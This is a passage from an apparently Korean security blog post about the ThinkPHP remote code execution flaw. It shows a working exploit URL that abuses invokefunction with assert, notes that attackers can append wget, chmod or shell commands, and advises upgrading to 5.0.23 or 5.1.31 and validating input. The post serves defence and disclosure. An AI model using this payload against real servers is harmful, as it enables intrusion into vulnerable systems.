/index.php?s=index/\think\app/invokefunction&function=assert&vars[0]=print md5('chaonan')&vars[1][]=
  • Payload 코드 뒤, wget이나 chmod, shell 등의 시스템 제어를 할 수 있는 명령어들을 이용하여 해커가 원하는 공격을 수행할 수 있게 된다.

 

대응방안

  • 해당 공격을 대응하기 위해서는 ThinkPHP 버전을 5.0.23 혹은 5.1.31 으로 업그레이드 하는 것을 권장한다.
  • PHP 업데이트로 '\' 필터링을 확인하는 정규식이 추가되었다. (적절한 입력 검증)

ThinkPHP 취약점은 웹 어플리케이션 공격으로 여전히 사용되고 있으니 잘 대응하시기 바랍니다.

+ Recent posts